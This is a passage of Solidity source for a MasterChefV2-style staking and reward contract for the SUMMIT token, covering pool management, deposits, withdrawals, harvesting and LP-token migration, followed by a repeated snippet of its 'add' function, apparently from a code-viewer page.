@notice Info of each MCV2 pool. PoolInfo[] public poolInfo; /// @notice Address of the LP token for each MCV2 pool. IERC20[] public lpToken; /// @notice Address of each `IRewarder` contract in MCV2. IRewarder[] public rewarder; /// @notice Info of each user that stakes LP tokens. mapping (uint256 => mapping (address => UserInfo)) public userInfo; /// @dev Total allocation points. Must be the sum of all allocation points in all pools. uint256 public totalAllocPoint; uint256 private constant MASTERCHEF_SUMMIT_PER_BLOCK = 1e20; uint256 private constant ACC_METAVICE_PRECISION = 1e12; event Deposit(address indexed user, uint256 indexed pid, uint256 amount, address indexed to); event Withdraw(address indexed user, uint256 indexed pid, uint256 amount, address indexed to); event EmergencyWithdraw(address indexed user, uint256 indexed pid, uint256 amount, address indexed to); event Harvest(address indexed user, uint256 indexed pid, uint256 amount); event LogPoolAddition(uint256 indexed pid, uint256 allocPoint, IERC20 indexed lpToken, IRewarder indexed rewarder); event LogSetPool(uint256 indexed pid, uint256 allocPoint, IRewarder indexed rewarder, bool overwrite); event LogUpdatePool(uint256 indexed pid, uint64 lastRewardBlock, uint256 lpSupply, uint256 accMetavicePerShare); event LogInit(); /// @param _MASTER_CHEF The SummitSwap MCV1 contract address. /// @param _summit The SUMMIT token contract address. /// @param _MASTER_PID The pool ID of the dummy token on the base MCV1 contract. constructor(IMasterChef _MASTER_CHEF, IERC20 _summit, uint256 _MASTER_PID) public { MASTER_CHEF = _MASTER_CHEF; SUMMIT = _summit; MASTER_PID = _MASTER_PID; } /// @notice Deposits a dummy token to `MASTER_CHEF` MCV1. This is required because MCV1 holds the minting rights for SUMMIT. /// Any balance of transaction sender in `dummyToken` is transferred. /// The allocation point for the pool on MCV1 is the total allocation point for all pools that receive double incentives. /// @param dummyToken The address of the ERC-20 token to deposit into MCV1. function init(IERC20 dummyToken) external { uint256 balance = dummyToken.balanceOf(msg.sender); require(balance != 0, "MasterChefV2: Balance must exceed 0"); dummyToken.safeTransferFrom(msg.sender, address(this), balance); dummyToken.approve(address(MASTER_CHEF), balance); MASTER_CHEF.deposit(MASTER_PID, balance); emit LogInit(); } /// @notice Returns the number of MCV2 pools. function poolLength() public view returns (uint256 pools) { pools = poolInfo.length; } /// @notice Add a new LP to the pool. Can only be called by the owner. /// DO NOT add the same LP token more than once. Rewards will be messed up if you do. /// @param allocPoint AP of the new pool. /// @param _lpToken Address of the LP ERC-20 token. /// @param _rewarder Address of the rewarder delegate. function add(uint256 allocPoint, IERC20 _lpToken, IRewarder _rewarder) public onlyOwner { uint256 lastRewardBlock = block.number; totalAllocPoint = totalAllocPoint.add(allocPoint); lpToken.push(_lpToken); rewarder.push(_rewarder); poolInfo.push(PoolInfo({ allocPoint: allocPoint.to64(), lastRewardBlock: lastRewardBlock.to64(), accMetavicePerShare: 0 })); emit LogPoolAddition(lpToken.length.sub(1), allocPoint, _lpToken, _rewarder); } /// @notice Update the given pool's SUMMIT allocation point and `IRewarder` contract. Can only be called by the owner. /// @param _pid The index of the pool. See `poolInfo`. /// @param _allocPoint New AP of the pool. /// @param _rewarder Address of the rewarder delegate. /// @param overwrite True if _rewarder should be `set`. Otherwise `_rewarder` is ignored. function set(uint256 _pid, uint256 _allocPoint, IRewarder _rewarder, bool overwrite) public onlyOwner { totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add(_allocPoint); poolInfo[_pid].allocPoint = _allocPoint.to64(); if (overwrite) { rewarder[_pid] = _rewarder; } emit LogSetPool(_pid, _allocPoint, overwrite ? _rewarder : rewarder[_pid], overwrite); } /// @notice Set the `migrator` contract. Can only be called by the owner. /// @param _migrator The contract address to set. function setMigrator(IMigratorChef _migrator) public onlyOwner { migrator = _migrator; } /// @notice Migrate LP token to another LP contract through the `migrator` contract. /// @param _pid The index of the pool. See `poolInfo`. function migrate(uint256 _pid) public { require(address(migrator) != address(0), "MasterChefV2: no migrator set"); IERC20 _lpToken = lpToken[_pid]; uint256 bal = _lpToken.balanceOf(address(this)); _lpToken.approve(address(migrator), bal); IERC20 newLpToken = migrator.migrate(_lpToken); require(bal == newLpToken.balanceOf(address(this)), "MasterChefV2: migrated balance must match"); lpToken[_pid] = newLpToken; } /// @notice View function to see pending SUMMIT on frontend. /// @param _pid The index of the pool. See `poolInfo`. /// @param _user Address of user. /// @return pending SUMMIT reward for a given user. function pendingSummit(uint256 _pid, address _user) external view returns (uint256 pending) { PoolInfo memory pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][_user]; uint256 accMetavicePerShare = pool.accMetavicePerShare; uint256 lpSupply = lpToken[_pid].balanceOf(address(this)); if (block.number > pool.lastRewardBlock && lpSupply != 0) { uint256 blocks = block.number.sub(pool.lastRewardBlock); uint256 metaviceReward = blocks.mul(summitPerBlock()).mul(pool.allocPoint) / totalAllocPoint; accMetavicePerShare = accMetavicePerShare.add(metaviceReward.mul(ACC_METAVICE_PRECISION) / lpSupply); } pending = int256(user.amount.mul(accMetavicePerShare) / ACC_METAVICE_PRECISION).sub(user.rewardDebt).toUInt256(); } /// @notice Update reward variables for all pools. Be careful of gas spending! /// @param pids Pool IDs of all to be updated. Make sure to update all active pools. function massUpdatePools(uint256[] calldata pids) external { uint256 len = pids.length; for (uint256 i = 0; i < len; ++i) { updatePool(pids[i]); } } /// @notice Calculates and returns the `amount` of SUMMIT per block. function summitPerBlock() public view returns (uint256 amount) { amount = uint256(MASTERCHEF_SUMMIT_PER_BLOCK) .mul(MASTER_CHEF.poolInfo(MASTER_PID).allocPoint) / MASTER_CHEF.totalAllocPoint(); } /// @notice Update reward variables of the given pool. /// @param pid The index of the pool. See `poolInfo`. /// @return pool Returns the pool that was updated. function updatePool(uint256 pid) public returns (PoolInfo memory pool) { pool = poolInfo[pid]; if (block.number > pool.lastRewardBlock) { uint256 lpSupply = lpToken[pid].balanceOf(address(this)); if (lpSupply > 0) { uint256 blocks = block.number.sub(pool.lastRewardBlock); uint256 metaviceReward = blocks.mul(summitPerBlock()).mul(pool.allocPoint) / totalAllocPoint; pool.accMetavicePerShare = pool.accMetavicePerShare.add((metaviceReward.mul(ACC_METAVICE_PRECISION) / lpSupply).to128()); } pool.lastRewardBlock = block.number.to64(); poolInfo[pid] = pool; emit LogUpdatePool(pid, pool.lastRewardBlock, lpSupply, pool.accMetavicePerShare); } } /// @notice Deposit LP tokens to MCV2 for SUMMIT allocation. /// @param pid The index of the pool. See `poolInfo`. /// @param amount LP token amount to deposit. /// @param to The receiver of `amount` deposit benefit. function deposit(uint256 pid, uint256 amount, address to) public { PoolInfo memory pool = updatePool(pid); UserInfo storage user = userInfo[pid][to]; // Effects user.amount = user.amount.add(amount); user.rewardDebt = user.rewardDebt.add(int256(amount.mul(pool.accMetavicePerShare) / ACC_METAVICE_PRECISION)); // Interactions IRewarder _rewarder = rewarder[pid]; if (address(_rewarder) != address(0)) { _rewarder.onMetaviceReward(pid, to, to, 0, user.amount); } lpToken[pid].safeTransferFrom(msg.sender, address(this), amount); emit Deposit(msg.sender, pid, amount, to); } /// @notice Withdraw LP tokens from MCV2. /// @param pid The index of the pool. See `poolInfo`. /// @param amount LP token amount to withdraw. /// @param to Receiver of the LP tokens. function withdraw(uint256 pid, uint256 amount, address to) public { PoolInfo memory pool = updatePool(pid); UserInfo storage user = userInfo[pid][msg.sender]; // Effects user.rewardDebt = user.rewardDebt.sub(int256(amount.mul(pool.accMetavicePerShare) / ACC_METAVICE_PRECISION)); user.amount = user.amount.sub(amount); // Interactions IRewarder _rewarder = rewarder[pid]; if (address(_rewarder) != address(0)) { _rewarder.onMetaviceReward(pid, msg.sender, to, 0, user.amount); } lpToken[pid].safeTransfer(to, amount); emit Withdraw(msg.sender, pid, amount, to); } /// @notice Harvest proceeds for transaction sender to `to`. /// @param pid The index of the pool. See `poolInfo`. /// @param to Receiver of SUMMIT rewards. function harvest(uint256 pid, address to) public { PoolInfo memory pool = updatePool(pid); UserInfo storage user = userInfo[pid][msg.sender]; int256 accumulatedMetavice = int256(user.amount.mul(pool.accMetavicePerShare) / ACC_METAVICE_PRECISION); uint256 _pendingSummit = accumulatedMetavice.sub(user.rewardDebt).toUInt256(); // Effects user.rewardDebt = accumulatedMetavice; // Interactions if (_pendingSummit != 0) { SUMMIT.safeTransfer(to, _pendingSummit); } IRewarder _rewarder = rewarder[pid]; if (address(_rewarder) != address(0)) { _rewarder.onMetaviceReward( pid, msg.sender, to, _pendingSummit, user.amount); } emit Harvest(msg.sender, pid, _pendingSummit); } /// @notice Withdraw LP tokens from MCV2 and harvest proceeds for transaction sender to `to`. /// @param pid The index of the pool. See `poolInfo`. /// @param amount LP token amount to withdraw. /// @param to Receiver of the LP tokens and SUMMIT rewards. function withdrawAndHarvest(uint256 pid, uint256 amount, address to) public { PoolInfo memory pool = updatePool(pid); UserInfo storage user = userInfo[pid][msg.sender]; int256 accumulatedMetavice = int256(user.amount.mul(pool.accMetavicePerShare) / ACC_METAVICE_PRECISION); uint256 _pendingSummit = accumulatedMetavice.sub(user.rewardDebt).toUInt256(); // Effects user.rewardDebt = accumulatedMetavice.sub(int256(amount.mul(pool.accMetavicePerShare) / ACC_METAVICE_PRECISION)); user.amount = user.amount.sub(amount); // Interactions SUMMIT.safeTransfer(to, _pendingSummit); IRewarder _rewarder = rewarder[pid]; if (address(_rewarder) != address(0)) { _rewarder.onMetaviceReward(pid, msg.sender, to, _pendingSummit, user.amount); } lpToken[pid].safeTransfer(to, amount); emit Withdraw(msg.sender, pid, amount, to); emit Harvest(msg.sender, pid, _pendingSummit); } /// @notice Harvests SUMMIT from `MASTER_CHEF` MCV1 and pool `MASTER_PID` to this MCV2 contract. function harvestFromMasterChef() public { MASTER_CHEF.deposit(MASTER_PID, 0); } /// @notice Withdraw without caring about rewards. EMERGENCY ONLY. /// @param pid The index of the pool. See `poolInfo`. /// @param to Receiver of the LP tokens. function emergencyWithdraw(uint256 pid, address to) public { UserInfo storage user = userInfo[pid][msg.sender]; uint256 amount = user.amount; user.amount = 0; user.rewardDebt = 0; IRewarder _rewarder = rewarder[pid]; if (address(_rewarder) != address(0)) { _rewarder.onMetaviceReward(pid, msg.sender, to, 0, 0); } // Note: transfer can fail or succeed if `amount` is zero. lpToken[pid].safeTransfer(to, amount); emit EmergencyWithdraw(msg.sender, pid, amount, to); } }
Add a new LP to the pool. Can only be called by the owner. DO NOT add the same LP token more than once. Rewards will be messed up if you do. allocPoint AP of the new pool. _lpToken Address of the LP ERC-20 token. _rewarder Address of the rewarder delegate.
function add(uint256 allocPoint, IERC20 _lpToken, IRewarder _rewarder) public onlyOwner { uint256 lastRewardBlock = block.number; totalAllocPoint = totalAllocPoint.add(allocPoint); lpToken.push(_lpToken); rewarder.push(_rewarder); poolInfo.push(PoolInfo({ allocPoint: allocPoint.to64(), lastRewardBlock: lastRewardBlock.to64(), accMetavicePerShare: 0 })); emit LogPoolAddition(lpToken.length.sub(1), allocPoint, _lpToken, _rewarder); }
13,089,464